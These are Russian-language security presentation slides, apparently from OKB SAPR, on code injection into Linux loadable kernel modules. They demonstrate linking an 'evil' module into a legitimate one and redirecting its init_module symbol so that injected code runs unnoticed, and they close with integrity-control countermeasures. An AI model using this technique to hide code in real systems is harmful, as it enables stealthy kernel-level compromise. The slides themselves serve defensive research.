ОКБ САПР

Вместо введения...

  • Все более актуальной становится задача защиты данных, хранящихся и обрабатываемых в ОС GNU/Linux
  • В Linux из «коробки» существует широкий выбор средств защиты
    • средства защиты межсетевого взаимодействия;
    • стандартные и расширенные средства идентификации и аутентификации;
    • права доступа к объектам ФС;
    • дополнительные списки контроля доступа (ACL) и расширенные атрибуты файловых объектов;
    • разнообразные фреймворки для расширения настроек безопасности (SELinux, AppArmor, Tomoyo и т.д.).
  • При правильной настройке таких штатных средств защиты ОС Linux в целом является достаточно защищенной.
  • Но это является истинной только в случае, если не учитывается возможность физического доступа к носителю данных!

НСД и Linux

  • Должен существовать внешний (по отношению к СВТ) аппаратный компонент - резидентный компонент безопасности
  • В обычных ПК/серверах принято использовать АМДЗ, который должен контролировать:
    • Master Boot Record;
    • загрузочный сектор основного раздела ОС Linux (PBR);*
    • сектора 1-63 относительно начала загрузочного раздела (grub stage 1.5);*
    • непосредственно сам загрузчик (/boot/grub/stage2);
    • файлы конфигурации загрузчика (/boot/grub/grub.conf);
    • ядро Linux (/boot/vmlinuz-xxx, /boot/kernel-xxx);
    • initramfs-образ (/boot/initrd-xxx);*
    • прочие файлы конфигурации и критичные данные ОС.
  • Считается, что этого списка достаточно для защиты ОС Linux и программных СЗИ НСД, начиная с раннего этапа загрузки...

Loadable kernel modules (LKM)

загружаемые модули ядра Linux

  • Изначально призваны расширять функционал ядра Linux
  • Могут загружаться на раннем этапе загрузки ОС (до начала работы многих СЗИ НСД)
  • Загрузка модуля ядра принципиально отличается от запуска бинарного файла на выполнение (при котором принято использовать динамический контроль целостности)
  • Для защиты от загрузки "несанкционированных" модулей существуют механизмы защиты (начиная от прав доступа)
  • Не существует штатных средств контроля целостности LKM

Некоторые особенности модулей ядра Linux

  • LKM представляют собой специальный бинарный файл ELF-формата (как правило)
  • В ELF-формате любой символ (функцию) можно найти по имени
  • При изменении имени символа новое имя должно содержать символов, не больше чем было в старом имени
  • Применительно к модулям ядра Linux можно изменить точку входа модуля ядра (или выполнить что-то до основного функционала модуля)
  • Два модуля ядра можно слинковать в один новый, символы которого будут дополнены символами из двух изначальных модулей (если нет повторений в именах). При этом новый модуль будет иметь ту же природу, что и два линкующихся модуля - это будет загружаемый модуль ядра

LKM injection demo

        ...
        int init(void) {
          printk(KERN_ALERT "original init\n");
          return 0;
        }
        void clean(void) {
          printk(KERN_ALERT "original exit\n");
          return;
        }
        module_init(init);
        module_exit(clean);
      
        ...
        extern int init(); /** init() wrapper */
        int evil(void) {
          printk(KERN_ALERT "evil inject!");
          ...
          init();
          return 0;
        }
        ...
      

LKM injection demo

ELF structure

SYMBOL TABLE:
…...............
00000011 g     F .text  00000010 cleanup_module
00000000 g     F .text  00000011 init_module
00000011 g     F .text  00000010 clean
00000000         *UND*  00000000 printk
00000000 g     F .text  00000011 init
      
SYMBOL TABLE:
…...............
00000000 g     F .text  00000016 evil
00000000         *UND*  00000000 printk
00000000         *UND*  00000000 init
      

LKM injection demo

after 'ld -r origmod.ko evilmod.ko -o evilorigmod.ko'

SYMBOL TABLE:
…...............
00000024 g     F .text  00000016 evil
00000000 g     O .gnu.linkonce.this_module  00000154 __this_module
00000011 g     F .text  00000010 cleanup_module
00000000 g     F .text  00000011 init_module
00000011 g     F .text  00000010 clean
00000000         *UND*  00000000 printk
00000000 g     F .text  00000011 init
      

LKM injection demo

after ELF-structure change

SYMBOL TABLE:
…...............
00000024 g     F .text  00000016 evil
00000000 g     O .gnu.linkonce.this_module  00000154 __this_module
00000011 g     F .text  00000010 cleanup_module
00000024 g     F .text  00000011 init_module
00000011 g     F .text  00000010 clean
00000000         *UND*  00000000 printk
00000000 g     F .text  00000011 init
      

LKM injection demo

the end...

$ dmesg

[20436.323297] evil inject!
[20436.323298] original init
      

Таким образом

  • Мы добились полной работоспособности эталонного модуля при добавлении внешнего функционала
  • Аналогичным образом можно инъектировать код в процедуру выгрузки модуля - т.е. добиться полного "вложения" одного модуля ядра в другой
  • Можно инъектировать код в любой модуль ядра (исходные тексты не нужны!), например, в тот, который с большОй вероятностью будет загружен (обеспечение повторной загрузки)
  • При таком подходе в ОС нет каких-либо "подозрительных" модулей ядра
  • Различные HIDS со стандартными настройками не обнаружат подмены (модуль ядра - не исполняемый модуль и не suid-файл)
  • С несущественными изменениями всё тоже самое характерно и для ОС Solaris, OpenBSD, FreeBSD, NetBSD

Выводы

  • Описанная инъекция кода в модули ядра Linux:
    • позволяет выполнять посторонний код на уровне ядра ОС;
    • позволяет внедрять этот код не слишком заметным образом;
    • не является уязвимостью (скорее следует из-за особенностей ELF-формата), уже предполагает наличие прав суперпользователя;
  • В качестве защитных мер можно:
    • использовать статический контроль целостности (может быть неприемлемо долго по времени);
    • использовать динамический контроль целостности (расширить применение динамического СКЦ);
    • внедрить подсистему разграничения доступа, анализирующую легитимность использования вызова sys_init_module.

<Спасибо за внимание!>